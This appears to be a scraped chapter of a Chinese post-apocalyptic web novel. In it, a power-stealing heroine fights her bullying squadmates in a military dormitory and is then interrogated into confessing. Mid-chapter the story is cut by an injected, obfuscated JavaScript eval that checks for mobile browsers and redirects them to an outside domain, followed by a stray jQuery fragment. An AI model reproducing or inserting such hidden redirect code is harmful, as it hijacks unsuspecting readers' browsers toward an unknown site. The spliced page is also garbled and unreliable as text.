20. 你认罪吗

作品:《你的异能借我用用[末世]

    “喏,那就是她的房间。”封天香一指。


    白芍的房间是朝南那间,阳光很好,有个落地窗。


    “你可别招惹她,听说她很有来头,我们班的士兵都捧着她。听说她还认识徐思维呢,关系很好,真羡慕。”


    “不用羡慕,你认识我。”


    封天香被她逗笑了。


    这种住宅房都是三室一厅,三间卧室都被占了,文鸢只能睡客厅。


    封天香有些不好意思:“要不你跟我一起睡吧,只是我睡相不好,你不要见怪哈。”


    文鸢摇头:“不用,我就睡客厅。”


    她把棉被放在沙发上,放好东西,到浴室换了衣服,和封天香一起坐摆渡车,前往写字楼。


    两人来到三楼的侦察营,无人机侦查班。


    班里空了一半,封天香说:“他们出任务去了。”


    这时,一个女孩走过来向文鸢打招呼:“你就是新来的白小舒吧?我听廖处长说了,我们班来了个新人。”


    封天香介绍:“她就是孙艳秋。”


    孙艳秋挺热情,跟文鸢讲了一上午的实战技巧,中午还带文鸢去吃饭。


    惹得封天香小声嘀咕:“她对我咋没这么热情。”


    下午白芍带人回来了。这个班的士兵有男有女,一共12人。


    文鸢从前就玩过无人机,今天学了一天,孙艳秋夸她悟性高,说她再过两天可以跟其他营的一起出任务了。


    晚上回到住处,大家轮流进浴室洗澡,文鸢洗了澡出来,看到封天香还在吭哧吭哧拖地。


    孙艳秋走出卧室叫她:“我的屋子还没拖,你先拖我的。”


    看到文鸢睡客厅,孙艳秋热情笑道:“小舒,你怎么睡客厅啊?叫封天香把卧室让给你吧。”


    文鸢微微皱起眉头,这是在霸凌封天香吗?


    “不用了,我就睡客厅。”


    孙艳秋耸了耸肩,回自己卧室去了。


    封天香把卫生做好后,也洗了个澡。文鸢等她出来,问她:“宿舍的卫生是大家轮流做吗?”


    封天香撇撇嘴,委屈气愤:“才不是,都是我。白芍是班长,她不做卫生我没话说,那个孙艳秋凭什么不做卫生啊,就凭她跟白芍关系好吗。”


    “以后我们几个轮流做。”


    “她们才不会同意呢,我劝你不要管了,免得被她们针对。”


    文鸢觉得奇怪,白芍和孙艳秋是在欺负封天香吧,她们为什么放过自己这个新来的?


    文鸢在第二天中午得到了答案。


    宿舍四人正在食堂吃饭,孙艳秋突然举手,对文鸢身后叫道:“西门上士!这边!”


    文鸢疑惑,西门星也疑惑,走了过来:“你认识我?”


    孙艳秋嘻嘻一笑:“我是不认识你,但你的未婚妻可在这儿呢。”


    她说着,拍了拍文鸢的肩膀。


    西门星问道:“什么未婚妻?”


    文鸢转过头,与他四目相对,两人的目光都很陌生。


    西门星听声音就是个活力满满的年轻人,回头一看,果然如此。他一头黑发,漂亮的蓝眸,剑眉星目,容貌俊俏,笑容更是爽朗,即便是说“我不认识她”,也并不让人感到冒犯。


    孙艳秋连忙道歉:“不好意思不好意思,哎?你的未婚妻不是文将军的孙女嘛?这……怎么……”


    文鸢终于明白她的热情从何而来,她澄清:“你搞错了,我不是什么文将军的孙女。”


    孙艳秋错愕:“啊……可是廖处长告诉我……哎呀看来是我弄错了。”


    她和白芍对视一眼,上下打量文鸢,眼神中带着几分玩味。


    文鸢看着她,也玩味地笑了。


    当天下午,整个侦察营就传起了有个女兵冒充文将军孙女,妄图勾搭西门星失败的笑料。


    只有封天香忧心忡忡:“你快去解释一下吧。”


    “有什么好解释的。”会相信这种流言的人,配不上她的解释,不会相信的,用不着解释。


    再说,她进来只是为了偷几个异能,谁还真想当兵啊。


    文鸢已经打听清楚了,第三合成旅的异能者有四个,都是军中高层。


    旅长,副旅长,旅参谋长和军士长。


    文鸢准备找机会接近,把他们的异能都偷来玩玩。


    夜间操练时,文鸢在一旁喝水。一个脸生的士兵来到她身旁坐下,“你就是那个冒充西门中士未婚妻的女兵?”


    文鸢冷冷看了他一眼:“你哪个营的?”


    士兵调笑道:“装甲营的坦克手,捷普森,听我的名字没有。”


    文鸢抱起胳膊:“装甲营的夜间操可不在这里,你私自离队,再不走我就举报你了。”


    捷普森骂骂咧咧地离开了。


    文鸢耳力好,听到一个班的士兵背着她嘀咕:“装什么装,她配捷普森不是挺合适。”


    “就是。长那幅挫样,也好意思肖想西门中士,真是厚脸皮。”


    “真是好笑,她冒充文将军孙女的时候,就不能撒泡尿自己照照?”


    晚上拉练结束,四人先后回到宿舍。白芍第一个进浴室洗漱,她洗了很久,接着是孙艳秋。


    封天香一拍脑袋:“今天是星期五啊!十点就停水!得催催,不然咱俩都别想洗澡了。”


    封天香敲浴室门:“孙艳秋,你快点好不好,要停水了。”


    孙艳秋不慌不忙:“好了好了,别催!”


    封天香急得跺脚。


    这时白芍走出来,“文小舒,你把地拖了。别忘了拖我的卧室。”


    封天香看看白芍,向文鸢投去一个“你看吧”的眼神。


    文鸢问:“自己卧室的卫生,自己做比较好吧。不然你卧室丢了东西,我们说不清楚。”


    白芍抱着胳膊:“让你拖就拖,你废什么话?以后的地都由你一个人拖了!听到没有?!”


    文鸢问:“如果我不答应呢?”


    白芍冷下脸:“别逼我收拾你。封天香,到我这儿来!”


    封天香犹犹豫豫,白芍挑起眉:“怎么?你也想尝尝被我收拾的滋味儿?”


    文鸢轻笑一声,抱起胳膊:“不好意思,我还真想看看,是你收拾我,还是我收拾你。”


    封天香震惊,白芍诧异,这还是头一次有人敢忤逆她。


    文鸢看一眼手表,啧了一声:“九点五十了。看来孙艳秋不想让我们洗澡了呢。那我看,她也别洗了——”


    话音落,她一脚踹开浴室门!


    浴室门碰地一声弹在墙壁上,孙艳秋尖叫。文鸢快步走进去,把她拎出浴室,对封天香说:“你先洗。”


    孙艳秋在文鸢手里不停挣扎扭动,但无论怎么挣扎,文鸢的手就像铁钳似的紧紧钳着她。文鸢拎着孙艳秋,把她推进卧室里,白芍追在她身后:“你在干什么?你这是违反军纪,我要上报!你给我等着。”


    文鸢锁上卧室的门,看向白芍:“既然你要上报,那我不客气了。”


    白芍吓得后退:“你想干什么?”


    文鸢捏碎一只杯子,反问道:“你觉得呢?”


    白芍吓坏了,这女人这么大力气?就在这时,孙艳秋终于从房间里冲出来了,她已经穿好了衣服,还拿着武器,一把军棍。


    白芍胆子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610535|171472||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    壮了壮:“我们一起上,两个还能打不过一个?!”


    两人一起冲了上去。


    然后被文鸢轻飘飘一推,一个撞到墙,一个撞到桌子。


    白芍捂着头,叫道:“你给我等着!”


    她和孙艳秋跑出了寝室。


    封天香手忙脚乱从浴室出来了,她一脸担忧:“白芍去上报了?你也太冲动了,这下可怎么办。”


    还能怎么办,当然是先洗澡了。


    文鸢洗了个战斗澡,穿着干净衣物出来时,白芍已经带着两名军官过来了。


    他们是侦察连的连长和排长。


    走廊上还站着一排士兵,都是来抓文鸢的。


    白芍和孙艳秋跟在后头。


    连长黑着脸:“就是你寻衅滋事,宿舍内斗殴?给我带走。”


    白芍抱着胳膊,一脸得意:“不听话的女兵是什么下场,你很快就会知道。”


    文鸢笑了笑,笑容里满是嘲讽挑衅:“是吗?恐怕等我回来,你得叫我长官。”


    “你疯了吗?”


    不只是白芍和孙艳秋满脸惊诧,就连连长和排长都惊呆了。


    虽然白芍只是一个班长,但她至少是文小舒的上级,袭击上级,这属于严重违纪!白芍家庭背景不俗,这新兵很有可能会被送上军事法庭的!


    轻则关三十天紧闭,重则终生监禁或死刑,全看白家会怎么操作!


    文鸢被带到了军纪处罚裁定所。


    她被关进一间狭小的屋子里,然后很快又被带了出去。


    裁定所的负责人是个上尉,在收集了白芍、孙艳秋的证词后,他对文鸢进行例行提审。


    文鸢双手被反剪在身后,负责人坐在一张皮质椅子上,一身军服,踩着皮靴,一脸阴沉。他左侧有张桌子,桌子后坐着个记录员。


    负责人啧了一声:“就是你这个刺头,让我深夜还得加班,你真是罪该万死!你认不认罪?”


    文鸢问道:“请问我犯了什么罪?”


    “袭击上司,不尊敬上司,殴打战友,喧哗闹事!”负责人抓起桌上的案情记录:“你于九点五十踢开浴室门,将正在洗澡的室友强行拖出浴室,啧,你该不会是个变态吧?随后,你对班长出言顶撞,侮辱,威胁,并对班长和室友动手,造成两人轻伤!这是不是事实?!”


    文鸢轻笑一声:“你说的没错,我承认。”


    书记员惊讶,抬起头看向文鸢。这个新兵是怎么想的,这么轻易就承认了罪行,她也太不知轻重了!她到底知不知道,承认这些罪行会被怎么判刑?她想吃枪子儿吗?


    倒是负责人神情一松,嫌疑人认罪,那就好办了。他连语气都温和了许多:“哈,你如此爽快地认罪,倒算是敢作敢当,省了我的麻烦!袭击上司罪,你认不认?”


    “认。”


    “不尊敬上司罪,你认不认?”


    “认。”


    “殴打战友罪,你认不认?”


    “认。”


    “喧哗闹事罪,你认不认?”


    “我都认。”


    “很好,倒省得我费力气对你用刑,你还算是个聪明人。裁定所将给出初步的处罚意见,并递交临时法庭。书记员已经把你的口供记录在案。明天上法庭,你可别翻供。”


    由于文鸢的“消极应对”态度,这场深夜审讯很快结束,文鸢被带回了那间小房间,负责人还没离开,她听见他在和什么人说话:“文二等兵已经认罪,此人行迹恶劣,罪行累累,裁定所给出的意见是,判处她终生监禁。明天上临时法庭,交由军士长和临时陪审团审定……不过是走个流程罢了,请白先生放心。”